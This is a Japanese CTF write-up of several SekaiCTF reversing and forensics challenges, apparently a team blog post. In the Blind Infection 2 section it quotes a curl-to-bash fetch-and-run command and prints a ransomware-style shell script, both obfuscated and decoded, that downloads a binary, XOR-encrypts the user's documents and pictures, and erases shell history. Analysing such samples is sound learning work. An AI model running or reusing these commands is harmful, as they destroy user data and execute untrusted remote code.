unlock the Matrix. :("); } else { puts("Access granted. Enjoy the Matrix Flag."); } vbx_sp_free_nodebug(); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
見た感じvbxは行列計算に関係する関数でしょうか。
keysはRNGを使って計算しているように見えますが、シードが固定なので鍵は常に同じです。gdbで抜けば鍵がわかります。(ptraceによる単純なアンチデバッグがあるので、適当にNOPで潰しましょう)
enc関数は、入力を8byteごとに分けて暗号化してその結果をテーブルと比較するような処理をしていました。暗号化関数はこのようになっています。
// 常にn=0x2c void encrypt(uint *input,uint *keys,int n) { uint input0; long i; long i2; uint prev_input1; i = 0; do { prev_input1 = input[1]; input0 = (prev_input1 << 1 | (uint)((int)prev_input1 < 0)) & (prev_input1 << 8 | prev_input1 >> 0x18) ^ (prev_input1 << 2 | prev_input1 >> 0x1e) ^ *input ^ keys[i]; *input = input0; i2 = i + 1; i = i + 2; input[1] = (input0 << 8 | input0 >> 0x18) & (input0 << 1 | (uint)((int)input0 < 0)) ^ prev_input1 ^ keys[i2] ^ (input0 << 2 | input0 >> 0x1e); } while ((int)i < n); return; }
ビットシフト+AND+XORで暗号化しています。z3に投げてみましたが論理式が長いせいか処理が終わりません。
このあたりからはkanonさんと協力して右往左往しながら解いてました。
見ているとkanonさんが一番最後のinput[0]を使えばXORで一つ前のinput[1]の値が復元できることに気が付いたので、復号処理を書いて復元しました。
from z3 import * _secret = [ 0x1e, 0xcb, 0x87, 0xc1, 0xb4, 0x76, 0x70, 0xb9, 0x99, 0xad, 0xdf, 0x84, 0x1e, 0x62, 0x25, 0x66, 0x38, 0x50, 0x72, 0xe3, 0xf1, 0x5f, 0x6c, 0x00, 0x0c, 0xef, 0xaf, 0x94, 0xc6, 0x03, 0xc4, 0xb1, 0x7f, 0x96, 0x18, 0xb3, 0x7f, 0x94, 0x54, 0x0a, 0xc7, 0xf8, 0xc2, 0xf1, 0x19, 0xe5, 0xda, 0xbf, 0xd7, 0x8f, 0xce, 0xbb, 0x0e, 0x7d, 0xe8, 0xdd, 0xc2, 0xca, 0x29, 0xcb, 0xc1, 0x23, 0x03, 0x66 ] secret = [] for i in range(len(_secret)//4): secret.append(int.from_bytes(bytes(_secret[i*4:i*4+4]), "little")) keys = [0x2c705a3c, 0x7a536454, 0x65353951, 0x2a7d7243, 0xc31d0ad3, 0x16514fa7, 0xb62630c1, 0xdab7a710, 0xb76693c9, 0x290123bf, 0xe9858de8, 0xda356ba3, 0xb3fd259a, 0xb6f9e1b5, 0xcce50e4a, 0x3a9bd225, 0xd57d0c6e, 0xd469e66c, 0xc307682a, 0x8ef73c07, 0x1dee7288, 0x0b71ecd7, 0xe4ad1684, 0xb0cefb8f, 0x61cda701, 0x5850e07c, 0x3d747d38, 0x1a63b887, 0x78a08426, 0x2cff44e3, 0x0289fad3, 0xf11521b9, 0x9cec6b64, 0x8a9ef77f, 0xfd1385d2, 0xac03c874, 0xf3825dd1, 0xd7b321de, 0xcf630046, 0xeca514bd, 0xd349e0c1, 0xa7c3fc53, 0x64ef2116, 0x8364edd3] flag = [] for j in range(0, len(secret), 2): b1, b2 = secret[j], secret[j+1] # print(f"[round {j}]") MASK = (1 << 32) - 1 for i in range(0x2c-2, -2, -2): # print(f"[{hex(i)}] __block {b2:08x}{b1:08x}") # print(f"key2 = {keys[i+1]}") prev_b2 = (((b1 << 8) & MASK) | b1 >> 0x18) & (((b1 << 1) & MASK) | (1 & (b1 >> 31))) ^ keys[i+1] ^ (((b1 << 2) & MASK) | b1 >> 0x1e) ^ b2 prev_b1 = (((prev_b2 << 1) & MASK) | ((prev_b2 >> 31) & 1)) & (((prev_b2 << 8) & MASK) | prev_b2 >> 0x18) ^ (((prev_b2 << 2) & MASK) | prev_b2 >> 0x1e) ^ keys[i] ^ b1 b1, b2 = prev_b1, prev_b2 flag = flag + [b1, b2] print(f"{b2:08x}{b1:08x}") from pwn import p32 D = [[] for i in range(8)] for i in range(0, len(flag), 2): print(f"{i} {flag[i+1]:08x}{flag[i]:08x}") for j, c in enumerate(p32(flag[i]) + p32(flag[i+1])): print(j, hex(c)) D[j].append(c) print(D)
あとはvbxsim_VVXXXXXX
のような関数群の処理を頑張って特定し、kanonさんに逆演算をしてもらってフラグを得ました。めちゃくちゃ時間かかった。
SEKAI{y4y_u_p4ss3d_ScR4TcHp4D_t35t_w1th_V3ct0rB10x_4nd_51M0N_xD}
ところで公式Writeupによるとソースコードがデバッグ情報の中にあったらしいです。そんな……
Forensics
Broken Converter [94 solves]
.xps
ファイルが渡されます。XMLベースのドキュメントファイルらしいですが、docxなどと同様zipでファイルを取り出すことができます。
中には02F30FAD-6532-20AE-4344-5621D614A033.odttf
という見慣れないファイルがあります。拡張子を調べてみると、難読化された.ttf
ファイルであることがわかります。以下の記事に復号方法も書かれていたので、その通りに復元します。
from pwn import xor odttf = open("02F30FAD-6532-20AE-4344-5621D614A033.odttf", "rb").read() guid = bytes.fromhex("02F30FAD653220AE43445621D614A033") print(len(guid)) ttf = xor(odttf[:32], guid[::-1]) + odttf[32:] open("02F30FAD-6532-20AE-4344-5621D614A033.ttf", "wb").write(ttf)
復元したttf
ファイルをFont Forgeで覗いてみると、フラグが得られました。
SEKAI{sCR4MBLeD_a5ci1-FONT+GlYPHZ,W3|!.d0n&}
flag Mono [47 solves]
Broken Converterの続きです。
When writing the assignment, Miku used a font called flag Mono. Despite it looking just like a regular monospaced font, it claims itself to be “stylistic” in various ways.
問題文から察するに先程のフォントにフラグが隠れているのでしょうか?フォントのForensicsで思い出すのはTSG CTF 2020 - ffiです。
この問題はグリフ置換という機能を使ってフラグチェッカを実装した問題でした。
このフォントにもグリフ置換が設定されていないでしょうか?参考にしたWriteupによるとATTというのを表示すればいいらしいので表示してみます。すると、怪しい置換規則が出てきました。
ampersand quotesingle
と書かれているので、とりあえずフォントプレビューで&'
を入れてみます。すると、SE
という文字が表示されました。フラグっぽいですね。
空気を読んで書かれている文字を入力していくと、フラグが得られました。
SEKAI{OpenTypeMagicGSUBIsTuringComplete}
Blind Infection 1 [23 solves]
マルウェアの被害を受けてしまった!バックアップは保存してあったけど、そのリンクも暗号化されてしまったので助けてくれという問題です。
見てみると/home/sekaictf/{Pictures,Documents}
内に複数のファイルがあり、どちらも暗号化されていました。これを復元しろということでしょう。
$ ls *.txt aes.txt fortnite.txt katana.txt python.txt sql.txt warandpeace12.txt warandpeace7.txt assignment.txt ginger.txt key.txt randkey.txt test.txt warandpeace13.txt warandpeace8.txt billionaires.txt girlfriend.txt leetcode.txt roblox.txt tools.txt warandpeace14.txt warandpeace9.txt brainteasers.txt graphql.txt loi.txt robomagellan.txt volatility.dec.txt warandpeace15.txt countries.txt ippsec.txt maths.txt rsa.txt volatility.txt warandpeace2.txt ctfwins.txt joke.txt oscp.txt science.txt warandpeace1.dec.txt warandpeace3.txt elements.txt jokes.txt overflow.txt sekai.txt warandpeace1.txt warandpeace4.txt excuses.txt jsinterview.txt privesc.txt shakespeare.txt warandpeace10.txt warandpeace5.txt flag.txt juggle.txt program.txt song.txt warandpeace11.txt warandpeace6.txt
kanonさんが/home/sekaictf/snap/firefox/common/.mozilla/firefox/p3zapakd.default/
にfirefoxの情報があることを共有してくれたので、その中のplace.sqlite
を見て履歴を調べました。
次のコマンドでURLを全て取り出し、丁寧に目grepしました。
echo '.dump' | sqlite3 ./snap/firefox/common/.mozilla/firefox/p3zapakd.default/places.sqlite | grep -Po "'https?://.*?'"'
すると、https://paste.c-net.org/...
というURLに何回もアクセスしているのが目につきました。アクセスしてみると、Documents
フォルダ内のファイルのバックアップであることに気付きます。この中にフラグもあるのでしょう。以下のコマンドを実行するとフラグを得られました。
echo '.dump' | sqlite3 ./snap/firefox/common/.mozilla/firefox/p3zapakd.default/places.sqlite | grep -Po "'https?://.*?'" | grep paste | sd "'" "" | xargs -I {} curl {} | grep SEKAI
SEKAI{R3m3b3r_k1Dz_@lway5_84cKUp}
終了後に解いた問題
Blind Infection 2 [15 solves]
先程の続きです。実はhttps://paste.c-net.org/
に気付く前にこちらに気付いていました。
place.sqlite
を適当に目grepしていると、hxxps[://]sekaictf-tunes.netlify.app/
を見つけました。アクセスしてみると、このようなページになっています。
Download exclusive Sekai Music!!! wget sekairhythms.com/epicmusic.zip
「はえ~このzipが感染源なのかな」と思いコピペしてターミナルに貼り付けると、このようになりました。
$ curl https://storage.googleapis.com/sekaictf/Forensics/muhahaha.sh | bash
Enter押してたらマルウェア実行されてました。(あぶない)
JavaScriptはクリップボードのイベントをフックしてコピーする内容を自由に変更できるので、コマンドのコピペは危険だというやつですね。
muhaha.sh
をダウンロードして内容を見てみます。
z=" ";Uz='e da';Cz='----';QBz=' key';Wz='ou!!';FBz='open';NBz='s -r';nz='er/b';Jz=' gon';aBz='h_hi';tz='for ';Bz=' '\''--';PBz='le $';Rz='them';Pz=' '\''Br';Sz=' bac';Iz=' are';WBz='rm x';YBz='> ~/';Nz='ly!!';Qz='ing ';DBz='/*';ez='erco';vz=' in ';MBz='xor-';Oz='!'\''';UBz='xt';OBz=' $fi';Tz='k, W';pz='ies/';iz='ange';KBz='y.tx';Mz='nent';Yz=' -q ';CBz='ures';Lz='erma';cz='gith';cBz='y';Az='echo';JBz='> ke';lz='les/';wz='~/Do';BBz='Pict';Hz='iles';hz='m/sc';bBz='stor';uz='file';RBz='.txt';XBz=' '\'''\'' ';gz='t.co';yz='nts/';xz='cume';Zz='http';VBz='done';EBz='do';Gz='ur f';HBz='rand';kz='r-fi';ZBz='.bas';sz='or-f';Ez=' '\''Al';dz='ubus';bz='raw.';az='s://';oz='inar';LBz='t';Kz='e, p';ABz='* ~/';Xz='wget';Fz='l yo';SBz='rm k';GBz='ssl ';IBz=' 16 ';mz='mast';TBz='ey.t';Vz='re y';fz='nten';Dz='---'\''';jz='o/xo';qz='x86_';rz='64/x'; eval "$Az$Bz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Dz$z$Az$Ez$Fz$Gz$Hz$Iz$Jz$Kz$Lz$Mz$Nz$Oz$z$Az$Pz$Qz$Rz$Sz$Tz$Uz$Vz$Wz$Oz$z$Az$Bz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Dz$z$Xz$Yz$Zz$az$bz$cz$dz$ez$fz$gz$hz$iz$jz$kz$lz$mz$nz$oz$pz$qz$rz$sz$Hz$z$tz$uz$vz$wz$xz$yz$ABz$BBz$CBz$DBz$z$EBz$z$FBz$GBz$HBz$IBz$JBz$KBz$LBz$z$MBz$uz$NBz$OBz$PBz$uz$QBz$RBz$z$SBz$TBz$UBz$z$VBz$z$WBz$sz$Hz$z$Az$XBz$YBz$ZBz$aBz$bBz$cBz"
難読化されているようですが、これはeval
をecho
に変えれば十分です。解読後はこのようになります。
echo '---------------------------------------------------------' echo 'All your files are gone, permanently!!!' echo 'Bring them back, We dare you!!!' echo '---------------------------------------------------------' wget -q https://raw.githubusercontent.com/scangeo/xor-files/master/binaries/x86_64/xor-files for file in ~/Documents/* ~/Pictures/* do openssl rand 16 > key.txt xor-files -r $file $file key.txt rm key.txt done rm xor-files echo '' > ~/.bash_history
これが本体ですね。16bytesの鍵でファイルをXORしているようです。
txtファイルはともかく、PNGはヘッダが16bytes以上固定なので復元できます。復元したflag.png
はこのような画像でした。
「な~~~~~にがflag.pngだ」となり、他にフラグが無いか探しても見当たらずここでタイムアップでした。
競技終了後、Discordを見るとこのような発言がありました。
参加者: I recovered all the PNGs and saw no flag? 運営: `strings` flag.png
「......」
$ strings flag.dec.png | grep SEKAI SEKAI{D4R3_4CC3PT38_4N8_4U5T38}
「(声にならない悲鳴)」
感想
kanonさんがSekaiCTFに出るチームを探していたので誘ってみて出ました。たぶん日本勢一位なのでうれしい。
チームを組むと見落としていることに気付きやすいのでいいですね。何よりわいわいしながら解く楽しさはソロでは味わえない。
一人で腕試しするのも好きなのでソロをやめるというわけじゃないですが、難しいCTFはこれからもたまにチーム組んで出ていこうかなと思います。